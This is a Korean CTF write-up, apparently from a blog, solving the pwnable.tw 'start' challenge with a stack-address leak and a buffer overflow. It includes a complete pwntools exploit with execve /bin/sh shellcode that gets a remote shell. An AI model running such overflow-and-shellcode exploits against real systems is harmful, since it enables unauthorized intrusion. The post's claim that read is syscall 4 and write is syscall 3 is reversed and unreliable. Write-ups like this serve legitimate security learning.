문제의 디스어셈 모습이다
system call을 하는거 같은데 read의 syscall 번호는 4 write는 3이다.
1은 아마 exit였고 2는 fork? 였다.
write의 인자를 보면 20만큼 출력하는데 스택을 ecx에 옮긴 후 인자로 사용한다.
gdb로 스택을 분석한 모습(read에 a*8 넣은상태)인데 함수가 끝나기 직전으로 가 스택에 상황을 살펴보면 아래와 같다.
push esp - 0xffffce10
push offset _exit - 0x804809d
push 3A465443h - CTF:
push 20656874h - the\x20
push 20747261h - art\x20
push 74732073h - s\x20st
push 2774654Ch - Let'
이렇게 스택에 할당이 되있는데 read할때 문자열이 있는 주소(0xffffcdf4)에다가 넣는다.
마지막에 add esp, 14h 를 함으로써 exit로 점프하는 원리이다.
read는 60byte 까지 받기 때문에 오버플로우가 발생하며 스택에 들어있는 exit 주소를 바꿀 수있다.
심지어 nx도 안걸려있기 때문에 쉘코드 삽입이 가능하다.
먼저 'A'*20 + p32(0x8048087) 를 넣어 줌으로써 릭이 가능하다
왜냐하면 0x8048087은 write 함수 인자값 들어가기 직전 코드영역이며 mov ecx, esp 를 하기 때문에 esp(0xffffcdf4) + 0x14 + 0x4(pop eip)이 들어가 0xffffce0c 에 있는 스택값(push esp - 0xffffce10)이 leak이 된다.
write 함수로 return 해줬기 때문에 read를 또 받는다.
현재 스택 주소(0xffffce0c)에 입력을 받고 마지막에 add esp, 0x14 를 하여 ret을 하는데 read를 다시 받을때 쉘코드를 추가시켜 쉘코드가 저장된 주소를 esp+0x14 부분에 덮으면? 쉘코드가 실행된다.
payload는 'A'*20[20] + shellcode_addr[4] + shellcode[25] 이런식으로 넣으면 될 것같다.
shellcode의 주소는 leak 해줬던 주소가 0xffffce10 이기 때문에 현재 esp(0xffffce0c)보다 4 크므로 +20만 해주면 된다.
[Exploit]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | from pwn import * #s = process('./start') s = remote('chall.pwnable.tw', 10000) e = ELF('./start') shell = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80' payload = '' payload += 'A'*20 payload += p32(0x8048087) #write addr s.sendafter(':', payload) stack = u32(s.recv(1024)[:4]) print 'stack_addr : ' + hex(stack) payload = '' payload += 'A'*20 payload += p32(stack + 20) payload += shell s.send(payload) s.interactive() | cs |
'Wargame > ▷ pwnable.tw' 카테고리의 다른 글
[pwnable.tw] applestore (0) | 2018.08.03 |
---|---|
[pwnable.tw] orw (0) | 2018.07.29 |
[pwnable.tw] silver_bullet (0) | 2018.07.29 |
[pwnable.tw] dubblesort (0) | 2018.07.29 |
[pwnable.tw] calc (0) | 2018.07.24 |